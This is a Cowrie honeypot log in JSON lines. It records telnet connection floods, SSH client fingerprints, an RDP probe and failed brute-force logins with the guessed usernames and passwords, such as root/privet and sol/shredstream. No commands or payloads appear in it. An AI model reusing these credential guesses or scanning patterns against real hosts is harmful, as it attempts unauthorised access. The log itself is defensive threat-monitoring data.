{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38140,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a97ceab695","protocol":"telnet","message":"New connection: 192.119.13.58:38140 (10.17.0.5:23) [session: 56a97ceab695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:59.572397Z"}
{"eventid":"cowrie.session.closed","duration":39.73036503791809,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:03.065118Z","src_ip":"192.119.13.58","session":"59f525c52ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.13345789909363,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:10.439114Z","src_ip":"192.119.13.58","session":"15787dae75c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57040,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb42a2660e04","protocol":"telnet","message":"New connection: 192.119.13.58:57040 (10.17.0.5:23) [session: cb42a2660e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:14.271411Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34944,"dst_ip":"10.17.0.5","dst_port":23,"session":"16baf9be30c2","protocol":"telnet","message":"New connection: 192.119.13.58:34944 (10.17.0.5:23) [session: 16baf9be30c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:16.275916Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"0372227c1a57","protocol":"telnet","message":"New connection: 192.119.13.58:38256 (10.17.0.5:23) [session: 0372227c1a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:17.266724Z"}
{"eventid":"cowrie.session.closed","duration":39.38506484031677,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:20.565234Z","src_ip":"192.119.13.58","session":"853ae428c690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59066,"dst_ip":"10.17.0.5","dst_port":23,"session":"b01c74e90ad2","protocol":"telnet","message":"New connection: 192.119.13.58:59066 (10.17.0.5:23) [session: b01c74e90ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:23.908546Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35606,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8c406fa9f1","protocol":"telnet","message":"New connection: 192.119.13.58:35606 (10.17.0.5:23) [session: fa8c406fa9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:25.364242Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44358,"dst_ip":"10.17.0.5","dst_port":23,"session":"2852208af5f8","protocol":"telnet","message":"New connection: 192.119.13.58:44358 (10.17.0.5:23) [session: 2852208af5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:27.962513Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce4b0dbf5659","protocol":"ssh","message":"New connection: 2.57.121.25:41138 (159.203.135.109:22) [session: ce4b0dbf5659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:28.611544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:28.616422Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:28.720451Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121234","message":"login attempt [user/121234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:29.206843Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48750,"dst_ip":"10.17.0.5","dst_port":23,"session":"327330757f95","protocol":"telnet","message":"New connection: 192.119.13.58:48750 (10.17.0.5:23) [session: 327330757f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:29.303871Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"12121973","message":"login attempt [user/12121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:30.314273Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12121970","message":"login attempt [user/12121970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:31.423001Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12101975","message":"login attempt [user/12101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:32.529869Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120988","message":"login attempt [user/120988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:33.639043Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:34.746360Z","src_ip":"2.57.121.25","session":"ce4b0dbf5659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99121069908142,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:35.313451Z","src_ip":"192.119.13.58","session":"c7145595b7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.09398627281189,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:39.666260Z","src_ip":"192.119.13.58","session":"56a97ceab695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34180,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9b06ccfca1","protocol":"telnet","message":"New connection: 192.119.13.58:34180 (10.17.0.5:23) [session: aa9b06ccfca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:48.992361Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d8fa456274","protocol":"telnet","message":"New connection: 192.119.13.58:39950 (10.17.0.5:23) [session: a2d8fa456274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:50.503281Z"}
{"eventid":"cowrie.session.closed","duration":0.004591941833496094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:50.507739Z","src_ip":"192.119.13.58","session":"a2d8fa456274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c484a08cc8","protocol":"telnet","message":"New connection: 192.119.13.58:44368 (10.17.0.5:23) [session: a9c484a08cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:51.703545Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49378,"dst_ip":"10.17.0.5","dst_port":23,"session":"69533dcd2725","protocol":"telnet","message":"New connection: 192.119.13.58:49378 (10.17.0.5:23) [session: 69533dcd2725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:53.035985Z"}
{"eventid":"cowrie.session.closed","duration":38.45926284790039,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:54.735048Z","src_ip":"192.119.13.58","session":"16baf9be30c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dcd4b89a1de","protocol":"telnet","message":"New connection: 192.119.13.58:57386 (10.17.0.5:23) [session: 0dcd4b89a1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:55.228272Z"}
{"eventid":"cowrie.session.closed","duration":42.6668963432312,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:47:56.938162Z","src_ip":"192.119.13.58","session":"cb42a2660e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.452802658081055,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:00.415098Z","src_ip":"192.119.13.58","session":"2852208af5f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54534,"dst_ip":"10.17.0.5","dst_port":23,"session":"67efc905fb36","protocol":"telnet","message":"New connection: 192.119.13.58:54534 (10.17.0.5:23) [session: 67efc905fb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:02.035821Z"}
{"eventid":"cowrie.session.closed","duration":46.863197803497314,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:04.129784Z","src_ip":"192.119.13.58","session":"0372227c1a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.56850457191467,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:05.872277Z","src_ip":"192.119.13.58","session":"327330757f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.757023096084595,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:08.121133Z","src_ip":"192.119.13.58","session":"fa8c406fa9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.90816068649292,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:08.816562Z","src_ip":"192.119.13.58","session":"b01c74e90ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52910,"dst_ip":"10.17.0.5","dst_port":23,"session":"652b08d68438","protocol":"telnet","message":"New connection: 192.119.13.58:52910 (10.17.0.5:23) [session: 652b08d68438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:09.344831Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40736,"dst_ip":"10.17.0.5","dst_port":23,"session":"2990522835de","protocol":"telnet","message":"New connection: 192.119.13.58:40736 (10.17.0.5:23) [session: 2990522835de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:13.603562Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47460,"dst_ip":"10.17.0.5","dst_port":23,"session":"820506d77046","protocol":"telnet","message":"New connection: 192.119.13.58:47460 (10.17.0.5:23) [session: 820506d77046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:15.267266Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41828,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb4e7488a82","protocol":"telnet","message":"New connection: 192.119.13.58:41828 (10.17.0.5:23) [session: 8eb4e7488a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:21.259041Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"1598da0a0f41","protocol":"telnet","message":"New connection: 192.119.13.58:59202 (10.17.0.5:23) [session: 1598da0a0f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:25.553655Z"}
{"eventid":"cowrie.session.closed","duration":35.30857992172241,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:27.011998Z","src_ip":"192.119.13.58","session":"a9c484a08cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81724286079407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:30.045380Z","src_ip":"192.119.13.58","session":"0dcd4b89a1de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58232,"dst_ip":"10.17.0.5","dst_port":23,"session":"139911859d04","protocol":"telnet","message":"New connection: 192.119.13.58:58232 (10.17.0.5:23) [session: 139911859d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:32.515909Z"}
{"eventid":"cowrie.session.closed","duration":44.673126220703125,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:33.665353Z","src_ip":"192.119.13.58","session":"aa9b06ccfca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.242435932159424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:35.278080Z","src_ip":"192.119.13.58","session":"67efc905fb36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53988,"dst_ip":"159.203.135.109","dst_port":22,"session":"f830f9169549","protocol":"ssh","message":"New connection: 152.42.212.128:53988 (159.203.135.109:22) [session: f830f9169549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:35.479814Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:35.485788Z","src_ip":"152.42.212.128","session":"f830f9169549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:35.491018Z","src_ip":"152.42.212.128","session":"f830f9169549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49870,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb33ba523754","protocol":"telnet","message":"New connection: 192.119.13.58:49870 (10.17.0.5:23) [session: bb33ba523754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:37.469567Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50762,"dst_ip":"10.17.0.5","dst_port":23,"session":"92754e5e025c","protocol":"telnet","message":"New connection: 192.119.13.58:50762 (10.17.0.5:23) [session: 92754e5e025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:37.682567Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":38312,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c5965085d39","protocol":"ssh","message":"New connection: 103.75.182.198:38312 (159.203.135.109:22) [session: 4c5965085d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:39.300017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:39.304425Z","src_ip":"103.75.182.198","session":"4c5965085d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:39.555781Z","src_ip":"103.75.182.198","session":"4c5965085d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"privet","message":"login attempt [root/privet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:40.297831Z","src_ip":"103.75.182.198","session":"4c5965085d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:41.549433Z","src_ip":"103.75.182.198","session":"4c5965085d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.72273278236389,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:42.758605Z","src_ip":"192.119.13.58","session":"69533dcd2725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57316,"dst_ip":"10.17.0.5","dst_port":23,"session":"77383cacf511","protocol":"telnet","message":"New connection: 192.119.13.58:57316 (10.17.0.5:23) [session: 77383cacf511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:46.254598Z"}
{"eventid":"cowrie.session.closed","duration":36.5223593711853,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:51.789513Z","src_ip":"192.119.13.58","session":"820506d77046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce16f0579fe2","protocol":"telnet","message":"New connection: 192.119.13.58:58380 (10.17.0.5:23) [session: ce16f0579fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:53.345445Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44290,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e85d289d762","protocol":"telnet","message":"New connection: 192.119.13.58:44290 (10.17.0.5:23) [session: 7e85d289d762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:56.896360Z"}
{"eventid":"cowrie.session.closed","duration":44.48505997657776,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:58.088510Z","src_ip":"192.119.13.58","session":"2990522835de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d8e0979c1c2","protocol":"ssh","message":"New connection: 193.32.162.145:47988 (10.17.0.5:22) [session: 6d8e0979c1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:58.406705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:58.411560Z","src_ip":"193.32.162.145","session":"6d8e0979c1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:58.514571Z","src_ip":"193.32.162.145","session":"6d8e0979c1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:58.822274Z","src_ip":"193.32.162.145","session":"6d8e0979c1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:48:59.930266Z","src_ip":"193.32.162.145","session":"6d8e0979c1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.0267596244812,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:00.580213Z","src_ip":"192.119.13.58","session":"1598da0a0f41","protocol":"telnet"}
